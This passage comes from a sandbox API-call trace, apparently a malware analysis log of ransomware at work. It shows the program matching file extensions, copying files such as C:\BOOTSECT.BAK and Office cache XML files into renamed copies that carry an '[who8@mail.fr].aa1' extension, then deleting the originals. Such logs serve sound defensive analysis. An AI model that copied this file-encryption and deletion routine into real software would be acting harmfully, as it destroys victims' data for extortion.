(lpString=".bz2") returned 4 [0225.962] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0225.962] lstrlenW (lpString=".7z") returned 3 [0225.962] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.963] lstrlenW (lpString=".dbf") returned 4 [0225.963] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.963] lstrlenW (lpString=".1cd") returned 4 [0225.963] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.963] lstrlenW (lpString=".jpg") returned 4 [0225.963] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.963] lstrlenW (lpString=".doc") returned 4 [0225.963] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0225.963] lstrlenW (lpString=".docx") returned 5 [0225.963] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0225.963] lstrlenW (lpString=".pdf") returned 4 [0225.963] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0225.963] lstrlenW (lpString=".xls") returned 4 [0225.963] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0225.963] lstrlenW (lpString=".xlsx") returned 5 [0225.963] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0225.963] lstrlenW (lpString=".ppt") returned 4 [0225.963] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.963] lstrlenW (lpString=".zip") returned 4 [0225.963] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0225.963] lstrlenW (lpString=".rar") returned 4 [0225.963] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0225.963] lstrlenW (lpString=".bz2") returned 4 [0225.964] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0225.964] lstrlenW (lpString=".7z") returned 3 [0225.964] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0225.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.964] lstrlenW (lpString=".dbf") returned 4 [0225.964] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0225.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.964] lstrlenW (lpString=".1cd") returned 4 [0225.964] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0225.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.964] lstrlenW (lpString=".jpg") returned 4 [0225.964] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0225.964] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0225.964] lstrlenW (lpString="offfiltx.dll") returned 12 [0225.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0226.265] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=1486736) returned 1 [0226.265] CloseHandle (hObject=0x1fc) returned 1 [0226.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0226.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0226.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0226.265] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.265] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0226.266] GetLastError () returned 0x0 [0226.266] ReadFile (hFile=0x1fc, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0) Thread: id = 11 os_tid = 0xb9c [0195.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5b0880 [0195.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5c0888 [0195.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540498 [0195.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5431f8 [0195.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404b0 [0195.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3740020 [0195.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404c8 [0195.026] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5404c8, Size=0x20) returned 0x56fac0 [0195.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404c8 [0195.026] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5404c8, Size=0x20) returned 0x56fae8 [0195.026] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.026] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.026] Wow64DisableWow64FsRedirection (in: OldValue=0x2c9ff58 | out: OldValue=0x2c9ff58*=0x0) returned 1 [0195.026] lstrlenW (lpString="kernel32.dll") returned 12 [0195.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.026] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.026] Sleep (dwMilliseconds=0x64) [0195.215] lstrcmpiW (lpString1=".BAK", lpString2=".aa1") returned 1 [0195.215] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0195.215] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0196.706] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8192) returned 1 [0196.706] CloseHandle (hObject=0x15c) returned 1 [0196.706] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0196.706] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\bootsect.bak.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.706] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0196.707] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0196.707] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.707] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.707] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\bootsect.bak.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0196.709] GetLastError () returned 0x0 [0196.709] ReadFile (in: hFile=0x15c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x2000, lpOverlapped=0x0) returned 1 [0197.665] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0197.667] ReadFile (in: hFile=0x15c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.667] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.667] SetEndOfFile (hFile=0x164) returned 1 [0197.667] CloseHandle (hObject=0x164) returned 1 [0197.673] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.673] SetEndOfFile (hFile=0x15c) returned 1 [0197.677] CloseHandle (hObject=0x15c) returned 1 [0197.677] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x27) returned 1 [0197.678] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0197.678] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.678] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.678] lstrlenW (lpString=".doc") returned 4 [0197.678] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0197.678] lstrlenW (lpString=".docx") returned 5 [0197.678] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0197.678] lstrlenW (lpString=".pdf") returned 4 [0197.678] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0197.678] lstrlenW (lpString=".xls") returned 4 [0197.678] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0197.678] lstrlenW (lpString=".xlsx") returned 5 [0197.678] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0197.678] lstrlenW (lpString=".ppt") returned 4 [0197.678] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0197.678] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.678] lstrlenW (lpString=".zip") returned 4 [0197.678] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0197.678] lstrlenW (lpString=".rar") returned 4 [0197.678] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0197.678] lstrlenW (lpString=".bz2") returned 4 [0197.679] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0197.679] lstrlenW (lpString=".7z") returned 3 [0197.679] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0197.679] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.679] lstrlenW (lpString=".dbf") returned 4 [0197.679] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0197.679] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.679] lstrlenW (lpString=".1cd") returned 4 [0197.679] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0197.679] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.679] lstrlenW (lpString=".jpg") returned 4 [0197.679] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0197.679] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.679] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.679] lstrlenW (lpString=".doc") returned 4 [0197.679] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0197.679] lstrlenW (lpString=".docx") returned 5 [0197.679] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0197.679] lstrlenW (lpString=".pdf") returned 4 [0197.679] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0197.679] lstrlenW (lpString=".xls") returned 4 [0197.679] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0197.679] lstrlenW (lpString=".xlsx") returned 5 [0197.679] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0197.679] lstrlenW (lpString=".ppt") returned 4 [0197.679] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0197.679] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.679] lstrlenW (lpString=".zip") returned 4 [0197.680] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0197.680] lstrlenW (lpString=".rar") returned 4 [0197.680] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0197.680] lstrlenW (lpString=".bz2") returned 4 [0197.680] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0197.680] lstrlenW (lpString=".7z") returned 3 [0197.680] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0197.680] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.680] lstrlenW (lpString=".dbf") returned 4 [0197.680] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0197.680] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.680] lstrlenW (lpString=".1cd") returned 4 [0197.680] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0197.680] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0197.680] lstrlenW (lpString=".jpg") returned 4 [0197.680] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0197.680] Sleep (dwMilliseconds=0x64) [0197.787] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0197.787] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0197.787] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0197.788] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1565) returned 1 [0197.788] CloseHandle (hObject=0x178) returned 1 [0197.788] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0197.788] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0197.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0197.788] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.788] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0197.789] GetLastError () returned 0x0 [0197.789] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x61d, lpOverlapped=0x0) returned 1 [0198.631] WriteFile (in: hFile=0x17c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x620, lpOverlapped=0x0) returned 1 [0198.632] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.632] WriteFile (in: hFile=0x17c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.633] SetEndOfFile (hFile=0x17c) returned 1 [0198.633] CloseHandle (hObject=0x17c) returned 1 [0198.634] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.634] SetEndOfFile (hFile=0x178) returned 1 [0198.674] CloseHandle (hObject=0x178) returned 1 [0198.674] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0198.674] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0198.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.675] lstrlenW (lpString=".doc") returned 4 [0198.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.675] lstrlenW (lpString=".docx") returned 5 [0198.675] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0198.675] lstrlenW (lpString=".pdf") returned 4 [0198.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.675] lstrlenW (lpString=".xls") returned 4 [0198.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.675] lstrlenW (lpString=".xlsx") returned 5 [0198.675] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0198.675] lstrlenW (lpString=".ppt") returned 4 [0198.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.675] lstrlenW (lpString=".zip") returned 4 [0198.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.675] lstrlenW (lpString=".rar") returned 4 [0198.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.675] lstrlenW (lpString=".bz2") returned 4 [0198.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.675] lstrlenW (lpString=".7z") returned 3 [0198.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.675] lstrlenW (lpString=".dbf") returned 4 [0198.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.676] lstrlenW (lpString=".1cd") returned 4 [0198.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.676] lstrlenW (lpString=".jpg") returned 4 [0198.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.676] lstrlenW (lpString=".doc") returned 4 [0198.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.676] lstrlenW (lpString=".docx") returned 5 [0198.676] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0198.676] lstrlenW (lpString=".pdf") returned 4 [0198.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.676] lstrlenW (lpString=".xls") returned 4 [0198.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.676] lstrlenW (lpString=".xlsx") returned 5 [0198.676] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0198.677] lstrlenW (lpString=".ppt") returned 4 [0198.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.677] lstrlenW (lpString=".zip") returned 4 [0198.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.677] lstrlenW (lpString=".rar") returned 4 [0198.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.677] lstrlenW (lpString=".bz2") returned 4 [0198.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.677] lstrlenW (lpString=".7z") returned 3 [0198.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.677] lstrlenW (lpString=".dbf") returned 4 [0198.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.677] lstrlenW (lpString=".1cd") returned 4 [0198.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0198.677] lstrlenW (lpString=".jpg") returned 4 [0198.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.677] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0198.677] lstrlenW (lpString="Setup.xml") returned 9 [0198.678] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0198.681] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1608) returned 1 [0198.681] CloseHandle (hObject=0x178) returned 1 [0198.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0198.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0198.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0198.681] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.681] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0198.682] GetLastError () returned 0x0 [0198.682] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x648, lpOverlapped=0x0) returned 1 [0198.786] WriteFile (in: hFile=0x1a0, 